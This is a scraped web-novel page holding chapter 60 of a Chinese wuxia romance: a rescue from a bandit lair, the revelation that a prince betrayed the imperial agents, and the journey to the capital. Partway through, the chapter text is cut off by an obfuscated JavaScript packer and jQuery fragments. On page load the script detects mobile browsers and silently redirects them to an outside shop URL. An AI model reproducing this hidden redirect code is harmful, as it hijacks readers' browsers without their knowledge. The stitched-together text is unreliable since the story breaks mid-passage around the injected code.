文趣网 > 都市小说 > 会变的凌叶叶 > 60. 第 60 章
    躲在一旁的凌叶叶刚跨出步子要去帮忙,白穆穆看见了她,对着她朝兰绒的方向转了转眼,示意她去救人。

    她抿了抿唇,转身去找兰绒,而谢景铄也同时到达了山匪头领的屋子外。

    “打开门,老子要跟这娘们洗个鸳鸯浴,让她情郎看着老子糟蹋她!”屋里传出粗犷又猥-琐的声音。

    “不要!放开我!救命!小白救我!”兰绒凄惨的叫声也传了出来。

    凌叶叶不作停留,直接往屋里冲,屋里还有几个山匪小弟,上来就围着她要打,她轻哼一声,出手攻击。

    把几人打趴下后,前方一盆冒着热气的水扑面泼来,身后一股拉力,她被拽着往旁边转了一圈。

    可热水还是泼到了拉着她的谢景铄,谢景铄脸上的面具出现融化的现象。

    “这是什么鬼?!”浴桶里赤-裸着身子的壮汉抱着半漏香肩的兰绒,惊恐地望着谢景铄。

    而谢景铄紧盯着壮汉肩上长长的疤痕,眼神充满着寒意,凌叶叶能感觉到谢景铄紧绷了身子,似乎想冲上去。

    这反应不对劲,难不成谢景铄认识这个山匪头子吗?

    面具被谢景铄一点点摸下,看到真容的山匪头子从震惊到愤恨:“是你!竟然真没死!现在老子就要报当年一刀之仇!”

    山匪头子从浴桶中跨出,拿起一旁的斧子就朝他们这边冲来,这浑身赤-裸的视觉冲击着实让凌叶叶一时反应不过来,直到谢景铄拉着她险险躲过一斧子,她才从斧子带来的刀锋回过神来。

    “小白!快来呀小白!”兰绒缩在浴桶里不停地对外叫喊着。

    “臭娘们闭嘴!”山匪头子大吼一声,又一斧子朝兰绒那边砍去。

    凌叶叶眼疾手快,伸手就用戒指挡住了那斧子,手指传来剧痛,戒指裂成两半掉落在了地上。

    这人不好对付,难怪山匪们说要把人引到此处。

    她拉住要动手的谢景铄,迎面对上了山匪头子,可每打在那人身上一下,仿佛都不痛不痒,斧子倒是时不时差些碰到她。

    “臭娘们别挡道!”山匪头子不屑地又是一斧子下来。

    一只手从旁边伸出,抓住了山匪头子的手一扭,斧子偏了方向,划破了她的衣袖。

    山匪头子连退几步,兴奋地挥了挥手中的斧子:“几年未见,功夫不减啊。”

    “当年常王竟然放了你。”谢景铄冷声道。

    “错。”山匪头子一边说,一边冲了过来,“当年就是他要你们的命下的毒!”

    凌叶叶拉着要往前冲的谢景铄连连后退,不准谢景铄动武。

    “快拉开你娘们,咱们的账必须今天算!”山匪头子一斧子就往他们这边挥。

    突然门口处出现一团白影,山匪头子反应过来的时候,长剑已经刺入了他的心口。

    “他奶奶的,偷,袭......”说着,倒在地上一动不动。

    “外面的人我都处理掉了。”白穆穆不开心地说着,查看了一下地上的尸体,起身走到浴桶旁边,脱下外袍给兰绒披上,“长得太好看也是挺头疼的事。”

    “那也是这些狗男人的问题。”凌叶叶说道,看向了身边脸色阴沉的谢景铄,握着那冰冷的手十指相扣,“他死了,都过去了。”

    “原来,当年那场剿匪,是常王策划,要灭了我们大内密探。”谢景铄冷然说着,“这么多年,我一直的耿耿于怀,都是因为他的出卖,可是为什么?”

    凌叶叶有听谢景铄说过当年剿匪的事,差点全军覆没,谢景铄还掉下了悬崖被师父救了一命,回去之后得知匪徒被统领抓住并救下了大内密探的其他人,后续由常王负责拍案斩首。

    “也许,常王一直都有谋反之心,一直在制造机会。”凌叶叶沉声说着,一手轻抚着谢景铄急促起伏的胸口,“所以,当年不是你的错,是坏人特地针对你们设的陷阱,我们小景也算解脱了,真好。”

    黑眸望向她,渐渐有了笑意,谢景铄抱着她,越来越紧。

    “喂喂喂!姓谢的!你放手!”白穆穆扶着兰绒走到他们旁边,“还走不走了?还去不去京城了?你别总是对我师姐动手动脚的!”

    “那我动手动脚就行了呗。”凌叶叶笑嘻嘻地挽着谢景铄,靠在谢景铄胳膊上,“你要打师姐吗?”

    “师姐!你矜持一些!”白穆穆又是一跺脚。

    山寨的人被师弟处理得很干净,无人生还,对于师弟的下手狠辣,凌叶叶是知道的。师娘也常说怕穆穆杀孽太重会带来不幸,师弟每次的回答都是“不杀干净了难道让他们来继续杀我们吗?是他们先动了杀心,就要承担后果。”。这也跟师弟入门前的遭遇有关,师弟一家就是因为心慈手软,被反杀灭了门。

    他们四人下了羊角山,便是入了京城的范围,因为易容的缘故,他们没有再遇到什么大麻烦,京城范围内的城镇跟南溪那块完全不一样,安宁。

    “应该是出了常王的地盘了。”她小声地跟身旁的谢景铄说道。

    “他不敢在京城范围内太过造次,但也不得不防京中有他的人。”谢景铄说着,随意朝一处指去。

    她瞟了一眼,有个穿着官府的人走进了酒楼。等会,刚刚那转角走过去那人怎么那么眼熟?

    她拉了拉谢景铄:“我好像在东北方向看到严世开了。”

    顺着她说的方向,谢景铄望了望,已经没有严世开的身影。

    难道眼花了吗?她问另一边的白穆穆:“师弟,当时严世开你怎么处理的?”

    “放走了。”白穆穆眨着眼睛一脸不屑,“胆小怕事的大块头。”

    北定侯都杀了,常王会放过严世开吗?严世开有那个胆子回京城这边吗?她摇了摇头,应该是看错了。

    他们找了客栈住下,这个城镇已经是离京城最近的一个,明日他们就能进京。

    深夜,凌叶叶要给谢景铄运功疗伤,白穆穆不允许他们孤男寡女共处一室,硬是待在房中盯着二人。之前因为她太急躁,运功总是力竭,谢景铄引导了她好几次,现在已经好了不少。只是不能以力竭为由赖在谢景铄身边不走了,现在她也算明白为何当初谢景铄会故意受伤让她着急,就是忍不住想让对方一直围在身边。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735642|207728||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“我严重怀疑师姐你是故意的。”白穆穆在她运功结束后说道,“都那么多天了,还要继续运功吗?”说着就上前给谢景铄把脉,然后单眼皮的眼睛惊得不停地眨,“你怎么能跟一个没事人一样的?你可千万别乱来啊,我和师姐可没那救人的本领。”

    凌叶叶心里很是担心,她虽然把脉能看出有无内伤,但轻重分不出到底有多重,师弟是五名弟子中武功最强的一个,对内伤这一块最是清楚,师父和师兄都跟她说已无大碍,想必是怕她知道了会担心。

    “师弟,已经好很多了对吧?”谢景铄朝师弟问道,那警告的眼神刚好被她瞧见。

    “啊?”白穆穆挠着头,看向她,吓得直说,“没那么严重了,真的没那么严重了,师姐你可别哭,只要他不乱动武,他自个都能运功疗伤慢慢痊愈,你已经不用帮忙,别担心。”

    她白了师弟一眼,然后还是担心地看着谢景铄:“当初伤你的那些高手,会不会在京城等着你?”

    “他们也几乎被我团灭。”谢景铄嘴角弯弯,眼中闪过冷意。

    “放心啦师姐,有师弟护着你们。”白穆穆拍了拍胸脯,“夜也深了,师姐你该回屋休息了。”

    “他伤还没好,我想多陪陪他。”她伸手搂住了谢景铄的腰。

    瞬间白穆穆又炸了:“快松手!你总不能让兰绒一个人吧?!”

    “那你去门口守着她。”她提议道。

    “你你你!三更半夜的!矜持矜持矜持!”白穆穆上来就扯她,一副准备大吵大闹的模样。

    身子腾空被抱起,她下意识搂住谢景铄的脖子,茫然望着谢景铄:“你要做什么?”

    “送你回房。”谢景铄温润地笑着,不管白穆穆在身旁大喊大叫,朝屋外走去。

    “师弟你小点声。”他们住的房间还隔着一条长廊,客栈中还有些客人没休息,凌叶叶害羞地把头埋在了谢景铄怀里,“谢景铄你让我自己走回去不行吗?”

    “不太想。”谢景铄话中含-着笑意。

    房门被推开,屋里的兰绒惊慌失措地望着他们三人,柔弱的身体似乎吹一下就要倒了。

    “别怕,是我们。”白穆穆安慰道,上前打量着兰绒,“上次的惊吓到现在还没好吗?师姐,你多与兰绒说说话,别总想着男人。”

    “你小子!”凌叶叶被放下来后就给了白穆穆一拳。

    她和兰绒一路上没少说话,不过刚刚兰绒的样子的确是被吓得不清,人生地不熟的地方,一个人在房间,如此貌美的女子经历过几次那样的事,多多少少会后怕吧。

    这个夜晚,她一直在安慰兰绒,但似乎没什么用,兰绒翻来覆去睡不着,拉着她不放,柔软的手一直在打着颤。她只能轻轻拍着兰绒的背,不停地说着“我们都在”。

    第二日,兰绒的精神很不好,凌叶叶让白穆穆留在此处照顾兰绒,她和谢景铄先去京城看看情况。白穆穆原先是不同意的,还是兰绒难受得拉着白穆穆一直说不舒服,希望白穆穆能留在客栈。

    凌叶叶他们刚准备出门,就听到客栈里有客人说京城进不去了。